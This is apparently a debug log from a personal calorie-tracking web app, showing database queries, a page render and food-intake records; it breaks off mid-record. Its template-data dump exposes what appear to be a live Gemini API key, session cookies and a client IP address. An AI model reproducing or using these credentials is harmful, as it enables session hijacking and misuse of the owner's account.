  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T17:39:16.299Z server-connect:app Executing action step insert
2025-12-13T17:39:16.299Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T17:39:16.300Z server-connect:output calories: { affected: 1, identity: 385 }
2025-12-13T17:39:16.300Z server-connect:app Executing action step insert
2025-12-13T17:39:16.300Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T17:39:16.300Z server-connect:output calories: { affected: 1, identity: 386 }
2025-12-13T17:39:16.301Z server-connect:output repeat: [ {}, {} ]
2025-12-13T17:39:16.301Z server-connect:output condition: undefined
2025-12-13T17:39:16.604Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T17:39:16.605Z server-connect:app Executing action step identify
2025-12-13T17:39:16.605Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:16.605Z server-connect:output identity: 1
2025-12-13T17:39:16.605Z server-connect:app Executing action step restrict
2025-12-13T17:39:16.605Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T17:39:16.605Z server-connect:output restrict: undefined
2025-12-13T17:39:16.605Z server-connect:router Render template layouts/main
2025-12-13T17:39:16.606Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T17:39:18.102Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T17:39:18.102Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T17:39:18.103Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T17:39:18.103Z server-connect:app Executing action step identify
2025-12-13T17:39:18.103Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:18.103Z server-connect:output identity: 1
2025-12-13T17:39:18.103Z server-connect:app Executing action step restrict
2025-12-13T17:39:18.103Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T17:39:18.103Z server-connect:app Executing action step identify
2025-12-13T17:39:18.104Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:18.104Z server-connect:output identity: 1
2025-12-13T17:39:18.104Z server-connect:app Executing action step restrict
2025-12-13T17:39:18.104Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T17:39:18.104Z server-connect:app Executing action step identify
2025-12-13T17:39:18.104Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:18.104Z server-connect:output identity: 1
2025-12-13T17:39:18.104Z server-connect:app Executing action step restrict
2025-12-13T17:39:18.104Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T17:39:18.104Z server-connect:output restrict: undefined
2025-12-13T17:39:18.104Z server-connect:app Executing action step select
2025-12-13T17:39:18.104Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T17:39:18.105Z server-connect:output restrict: undefined
2025-12-13T17:39:18.105Z server-connect:app Executing action step single
2025-12-13T17:39:18.105Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T17:39:18.106Z server-connect:output restrict: undefined
2025-12-13T17:39:18.106Z server-connect:app Executing action step single
2025-12-13T17:39:18.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T17:39:18.106Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T17:39:18.106Z server-connect:app Executing action step select
2025-12-13T17:39:18.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T17:39:18.108Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T17:39:18.109Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  },
  {
    id: 380,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 320,
    protein_gm: 7,
    carbs_gm: 45,
    fat_gm: 18,
    quantity: '1 piece',
    replacements: 'Grilled Paneer Tikka (higher protein, lower fat if grilled),Moong Dal Cheela (lentil pancake, higher protein, less oil),Sprouts Salad (very low calorie, high fiber),Baked Vada Pav (reduces fat from deep-frying)',
    created_at: '2025-12-13T06:42:46.000Z',
    skip_level: 3,
    skip_reason: "Deep-fried and high in refined carbohydrates (white bread, potato) and unhealthy fats. It's calorie-dense but relatively low in protein and micronutrients, making it suboptimal for muscle development and lean mass gain, especially with a desk job where overall calorie expenditure might be lower outside of gym time."
  },
  {
    id: 381,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Sarso Dal (Lentil Dish)',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 32,
    fat_gm: 2,
    quantity: '1 cup cooked (approx 200g, assuming standard serving)',
    replacements: 'Reduce oil/ghee used for tempering,Increase vegetable content in the dal (e.g., spinach, lauki),Opt for a lighter preparation without added cream or coconut milk',
    created_at: '2025-12-13T09:15:22.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of plant-based protein, complex carbohydrates, and fiber, all crucial for muscle repair, sustained energy, and overall digestive health. Highly beneficial for muscle development goals.'
  },
  {
    id: 382,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Boiled Rice (White Rice)',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 44,
    fat_gm: 1,
    quantity: '1 cup cooked (approx 150g, assuming standard serving)',
    replacements: 'Brown rice (higher fiber, more sustained energy release),Quinoa (higher protein, lower net carbs, complete protein),Millets (e.g., foxtail, little millet - good fiber and nutrient content),Cauliflower rice (significantly lower calories and carbs, good for volume)',
    created_at: '2025-12-13T09:15:22.000Z',
    skip_level: 2,
    skip_reason: "Provides readily available carbohydrates for energy, which can be useful especially post-workout for quick glycogen replenishment. However, for a desk job, moderating white rice intake is advisable due to its lower fiber content compared to whole grains. While not 'bad,' brown rice or other whole grains offer more sustained energy and nutrients."
  },
  {
    id: 383,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk (Whole)',
    calories: 122,
    protein_gm: 6,
    carbs_gm: 9,
    fat_gm: 7,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Skim milk,Low-fat milk,Unsweetened almond milk,Unsweetened soy milk',
    created_at: '2025-12-13T12:09:09.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of protein, calcium, and essential nutrients supporting muscle growth and overall health. Whole milk provides more calories and healthy fats, which can be beneficial for muscle development goals.'
  },
  {
    id: 384,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 121,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx 30g, providing 27g protein)',
    replacements: 'Whey protein isolate (often lower in carbs/fat than concentrate),Casein protein (slower digesting, good for sustained release)',
    created_at: '2025-12-13T12:09:09.000Z',
    skip_level: 1,
    skip_reason: "A fast-acting, high-quality protein source vital for muscle recovery and synthesis, especially beneficial for gym-goers aiming for muscle development. It's an efficient way to meet high protein requirements."
  },
  {
    id: 385,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk (Whole)',
    calories: 122,
    protein_gm: 6,
    carbs_gm: 9,
    fat_gm: 7,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Skim milk,Low-fat milk,Unsweetened almond milk,Unsweetened soy milk',
    created_at: '2025-12-13T12:09:16.000Z',
    skip_level: 1,
